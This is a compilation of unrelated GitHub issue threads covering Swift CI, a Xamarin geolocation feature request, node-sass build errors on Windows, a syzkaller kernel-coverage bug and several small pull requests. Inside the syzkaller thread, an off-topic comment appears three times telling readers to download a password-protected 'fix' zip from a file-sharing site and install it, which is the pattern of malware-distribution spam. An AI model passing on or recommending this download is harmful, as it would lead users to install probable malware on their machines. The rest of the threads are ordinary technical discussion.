@swift-ci please test

Build failed
Swift Test OS X Platform
Git Sha - acf52a4aed517a7610e365620b4ed8c9a96a1fc7

@swift-ci please test macOS platform

LGTM. @kubamracek there is actually a lot more work that can be done here in terms of eliminating objc stuff from runtime data structures. Would be generally useful for Linux and other platforms as well to lower memory usage.


Monitoring significant location changes in iOS

Great work on this plugin!
Any plans to incorporate monitoring of significant location changes for iOS? I didn't find a way to do this.
https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/LocationAwarenessPG/CoreLocation/CoreLocation.html

This should do that for you:
Task StartListeningAsync (int minTime, double minDistance, bool includeHeading = false);

On Feb 16, 2016, at 9:34 AM, Matthew Gerber<EMAIL_ADDRESS>wrote:
Great work on this plugin!
Any plans to incorporate monitoring of significant location changes for iOS? I didn't find a way to do this.
https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/LocationAwarenessPG/CoreLocation/CoreLocation.html https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/LocationAwarenessPG/CoreLocation/CoreLocation.html
—
Reply to this email directly or view it on GitHub https://github.com/jamesmontemagno/Xamarin.Plugins/issues/222.

I believe that StartListeningAsync implements what the iOS docs call "Starting the Standard Location Service". This is a high-energy approach and works well for cases where accurate, high-resolution location tracking is needed.
However, there is a second approach to location monitoring described in the iOS docs:  "Starting the Significant-Change Location Service". This appears to consume less power and is perfect for my use case.
Third, the iOS docs describe "Deferring Location Updates While Your App Is in the Background".
Are these latter approaches (significant-change monitoring and update deferral) present in this plugin or on the roadmap? I haven't found an indication that they are, but they would be very useful.

Sorry, I read too quickly. I though you were just looking for it to limit the number of updates based on the distance.
I will have to defer to James on whether there are any plans to incorporate this feature.

On Feb 16, 2016, at 10:32 AM, Matthew Gerber<EMAIL_ADDRESS>wrote:
I believe that StartListeningAsync implements what the iOS docs call "Starting the Standard Location Service". This is a high-energy approach and works well for cases where accurate, high-resolution location tracking is needed.
However, there is a second approach to location monitoring described in the iOS docs: "Starting the Significant-Change Location Service". This appears to consume less power and is perfect for my use case.
Third, the iOS docs describe "Deferring Location Updates While Your App Is in the Background".
Are these latter approaches (significant-change monitoring and update deferral) present in this plugin or on the roadmap? I haven't found an indication that they are, but they would be very useful.
—
Reply to this email directly or view it on GitHub https://github.com/jamesmontemagno/Xamarin.Plugins/issues/222#issuecomment-184730934.

@jamesmontemagno What do you think about this? From an energy conservation perspective it would probably be a compelling enhancement. Thoughts?

Ideally, what we could do is add an enum that is passed in when you start listening if that lets you toggle which one you want. I have added it as a feature request, you are free to work on it and send a pull request.

Sure, I'll take a crack at it.

Test this out: https://www.nuget.org/packages/Xam.Plugin.Geolocator/3.1.0-beta1 made some changes to the code, but just about the same

@jamesmontemagno Testing the beta now. Will post back.


MSBUILD error

I have tried the troubleshooting steps for installing node-sass. But it did not work fine. It did not installed the node-sass and generated the npm.err and npm.log files.
The log file is attached.
npm_log.txt
How can it be solved?

Long contents

><EMAIL_ADDRESS>install C:\DCDx\test\node_modules\node-sass
> node scripts/install.js

Downloading binary from https://github.com/sass/node-sass/releases/download/v4.5.3/win32-x64-48_binding.node

><EMAIL_ADDRESS>postinstall C:\DCDx\test\node_modules\node-sass
> node scripts/build.js

Building: C:\Program Files\nodejs\node.exe C:\DCDx\test\node_modules\node-gyp\bin\node-gyp.js rebuild --verbose --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=
Building the projects in this solution one at a time. To enable parallel build, please add the "/m" switch.
Build started 8/23/2017 2:31:46 PM.
Project "C:\DCDx\test\node_modules\node-sass\build\binding.sln" on node 1 (default targets).
ValidateSolutionConfiguration:
  Building solution configuration "Release|x64".
MSBUILD : error MSB3428: Could not load the Visual C++ component "VCBuild.exe". To fix this, 1) install the .NET Framework 2.0 SDK, 2) install Microsoft Visual Studio 2005 or 3) add the location of the component to the system path if it is installed elsewhere.  [C:\DCDx\test\node_modules\node-sass\build\binding.sln]
Done Building Project "C:\DCDx\test\node_modules\node-sass\build\binding.sln" (default targets) -- FAILED.

Build FAILED.

"C:\DCDx\test\node_modules\node-sass\build\binding.sln" (default target) (1) ->
(_src_\libsass target) ->
  MSBUILD : error MSB3428: Could not load the Visual C++ component "VCBuild.exe". To fix this, 1) install the .NET Framework 2.0 SDK, 2) install Microsoft Visual Studio 2005 or 3) add the location of the component to the system path if it is installed elsewhere.  [C:\DCDx\test\node_modules\node-sass\build\binding.sln]

    0 Warning(s)
    1 Error(s)

Time Elapsed 00:00:00.53

What npm command did you run?

npm install -ddd node-sass > npm.log 2> npm.err

I don't know if it's connected, but it appears that something fairly major has changed in npm-sass between Aug 22, 2017 15:33 and Aug 22, 2017 20:13 (GMT), without changing the version number.
Both of the following builds are using<EMAIL_ADDRESS>downloaded from https://github.com/sass/node-sass/releases/download/v4.5.0/linux-x64-48_binding.node.  See if you can spot the difference:
15:33:
mkdirp build/docs/styleguide && node-sass src/resources/sass/*.scss | postcss --config config/postcss.styleguide.js > build/docs/styleguide/style.css 15:36:01  15:36:03 ✔ Finished stdin (71ms) 15:36:04 Style guide build completed successfully!
20:13:
mkdirp build/docs/styleguide && node-sass src/resources/sass/*.scss | postcss --config config/postcss.styleguide.js > build/docs/styleguide/style.css 20:16:13  20:16:13 Rendering Complete, saving .css file... 20:16:13 Wrote CSS to /apps/ctp/jenkins/workspace/excalibur/ctp-loro-react-ui-toolkit/sanity-check-and-document-ctp-loro-react-ui-toolkit-2.x/src/resources/sass/sports.scss 20:16:13 ✖ Input Error: Did not receive any STDIN

Something is wrong with Visual Studio installation, vcbuild is a pretty old thing.

Please follow the refer to the minimum requirements for node-gyp as in our README https://github.com/nodejs/node-gyp#on-windows
You should be able to just download our precompiled binaries. If you had an issue with that, that is also covered in our TROUBLESHOOTING guide.

Install all the required tools and configurations using Microsoft's windows-build-tools by running npm install -g windows-build-tools from an elevated PowerShell (run as Administrator).
It takes a while.
Then run npm config set msvs_version 2015 -g
sorted the issue for me

@garhbod  Worked for me, No need for Visual Studio. This has what you need:
npm install --global --production windows-build-tools1
Thanks!

I ran into the exact same issue that the original post reported. The fix suggested above by garhbod and confirmed by many others did not work for me. npm install -g windows-build-tools was always hanging.
I finally managed to get it working by downgrading Node.js from the version 10 branch to the version 8 branch.

@gsidler it was hanging here too (npm version 6.1.0, node version 8.11.2),  but as npm install -g windows-build-tools stopped logging (logs to file C:\Users\MyUserName.windows-build-tools\build-tools-log.txt ) I just hit ctrl-c to terminate and after running npm config set msvs_version 2015 -g I could successfully run npm install, which in turn wants to compile (...)\node_modules\node-sass\build\binding.sln

Same thing happened to me on same versions as @andersand - his suggestion to run npm config set msvs_version 2015 -g worked. I was able to do npm install after that.

@garhbod Thanks! It worked.

nice one @garhbod

An additional step that might prevent further problems is that you should run the npm install for your project in an elevated PowerShell (I usually just do it from the terminal in VSC - which lacks permissions). Thanks @garhbod.


Semantic file URLs

After switching over from Thumbor to Sharp, the URLs become hashed jibberish.
I was wondering if there is (or will be) an option to have a more semantic URL for these files?
The reason I'm asking is really for having meaningful filenames, and hopefully a little advantage on SEO as well.
https://webmasters.stackexchange.com/questions/102419/converting-default-normal-filenames-to-a-random-string-of-text-whats-better
Just for your reference, IMGIX makes use of query strings to achieve a similar effect.  Something like this: https://www.example.com/some-file-name.jpg?w=1903&h=933&fit=crop
with the optional "signature" query string appended to the end like this to avoid spam abuse:
https://www.example.com/some-file-name.jpg?w=1903&h=933&fit=crop&s=V5kYnb7bdDaCfgeB
Your help is appreciated!
Thank you very much!

Sorry, raised the issue in the wrong place.  Closing this.


Try/catch without logging

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#64  👈
#63
#62
#61
#60
#59
#58
#57
#56
#55
#54
master

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @ermattt and the rest of your teammates on  Graphite


Fix DJ check_debug issue with DJ1.10

Attempt to fix latest django startup order problem specific to DJ 1.10+  Tested against DJ 1.8 through 1.11tip using the "insane integration test" pull request.

@PamelaM I'm not sure which of your pull requests in-flight should be merged, and which are still baking. Ping me if you need me to do something.

This does not fix #36, but it does fix #32 !


dashboard/app: unstable coverage aggregation

Describe the bug
The drivers/clk/actions/* coverage is jumping from 20% to 70% sometimes.
Let's focus on the drivers/clk/actions/owl-common.c.
2024-08-22(7 days long merge): instrumented 14 blocks, covered 0.
2024-08-23(7 days long merge): instrumented 0 blocks, covered 0.
The file level coverage looks good.
The parent folder coverage will be affected because of this instrumentation drop.
SELECT DISTINCT
  kernel_repo, kernel_branch, kernel_commit
FROM syzkaller.syzbot_coverage.`upstream`
WHERE
  TIMESTAMP_TRUNC(timestamp, DAY) >= "2024-08-15" AND
  TIMESTAMP_TRUNC(timestamp, DAY) <= "2024-08-22" AND
  version = 1 AND
  starts_with(file_path, "drivers/clk/actions/owl-common.c")
GROUP BY kernel_commit, kernel_repo, kernel_branch, sl

Row | kernel_repo | kernel_branch | kernel_commit |
-- | -- | -- | -- | --
1 | git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git | for-kernelci | 048499f92ed71d5ba16c2b8a2ee2fa29df5ddc86 |
2 | git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git | for-kernelci | 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb |
3 | git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git | for-kernelci | 7c626ce4bae1ac14f60076d00eafe71af30450ba
SELECT DISTINCT
  kernel_repo, kernel_branch, kernel_commit
FROM syzkaller.syzbot_coverage.`upstream`
WHERE
  TIMESTAMP_TRUNC(timestamp, DAY) >= "2024-08-16" AND
  TIMESTAMP_TRUNC(timestamp, DAY) <= "2024-08-23" AND
  version = 1 AND
  starts_with(file_path, "drivers/clk/actions/owl-common.c")
GROUP BY kernel_commit, kernel_repo, kernel_branch

Row | kernel_repo | kernel_branch | kernel_commit |
-- | -- | -- | -- | --
1 | git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git | for-kernelci | 048499f92ed71d5ba16c2b8a2ee2fa29df5ddc86 |
2 | git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git | for-kernelci | 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
There are 3 versions of the target file:

048499f92ed71d5ba16c2b8a2ee2fa29df5ddc86 -> doesn't exist.
5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb -> exists.
7c626ce4bae1ac14f60076d00eafe71af30450ba -> exists.

Problem 1: all the coverage signals received from 048499f92ed71d5ba16c2b8a2ee2fa29df5ddc86 are lost.
The signals are mapped onto the commit 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb for 2024-08-23.
Problem 2: my code can't read objects from 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb. I'll check why.
Expected behavior
We can reliably recover target files/commit state.

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Local experiments:
$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git
$ cd linux
$ git checkout 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
fatal: unable to read tree (5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb)
$ git fetch origin 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
$ git checkout 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
Note: switching to '5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

I can do git fetch origin COMMIT for every commit but it looks inefficient.
How to make the full clone?

How to make the full clone?

git fetch --tags may help:
https://github.com/google/syzkaller/blob/master/pkg/vcs/git.go#L147

An interesting question is also from which branches/tags the 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb commit is currently accessible.

$ git fetch --tags
Expanding reachable commits in commit graph: 1295701, done.
Writing out commit graph in 5 passes: 100% (6478505/6478505), done.
$ git checkout 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
fatal: unable to read tree (5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb)

$ git branch --contains 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb
$ git tag --contains 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb

Thanks for the ideas. It looks totally detached.

Git page also knows it: https://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git/commit/drivers/clk/actions/owl-common.c?id=5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb

Merge branches 'for-next/acpi', 'for-next/misc' and 'for-next/perf' into for-next/core
Notice: this object is not reachable from any branch.
Notice: this object is not reachable from any branch.

So it looks like it's purely accidental that git fetch origin 5c43d43bad356d42f4337bbf447e9cbb3ab5e7bb still works? If the remote git server prunes the dangling commits, you would have no chance of seeing it.
Is this commit available in the linux-next or linux-next-history?

git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux.git : for-kernelci

git fetch origin COMMIT seems to be the only working solution

It is also not clear how reliable are these detached commits.

Let's clone commits instead of branches to get detached commits. It partially fixes the problem.
Increasing the merge window from week to month will also improve the situation.
Let's land these two changes and see what the summary looks like.


[PCL] Fix portfile for post-build validation debug/share error

Add missing file(REMOVE_RECURSE ${CURRENT_PACKAGES_DIR}/debug/share) that was preventing post-build validation to complete successfully.
Fixes #2995

Thanks so much for this PR! Sorry for the delay; PCL had quite a few dependencies to build in order to repro the issue :)


Add Spam Detection variables to config

Adjusted the default values to @Invariant-Change's change in #281 and corrected the interval value. Will merge and update config.


Correct minor issue in template

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (61a028d) 15.00% compared to head (bcb544b) 15.00%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main      #13   +/-   ##
=======================================
  Coverage   15.00%   15.00%
=======================================
  Files         100      100
  Lines        2193     2193
  Branches       56       56
=======================================
  Hits          329      329
  Misses       1848     1848
  Partials       16       16

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.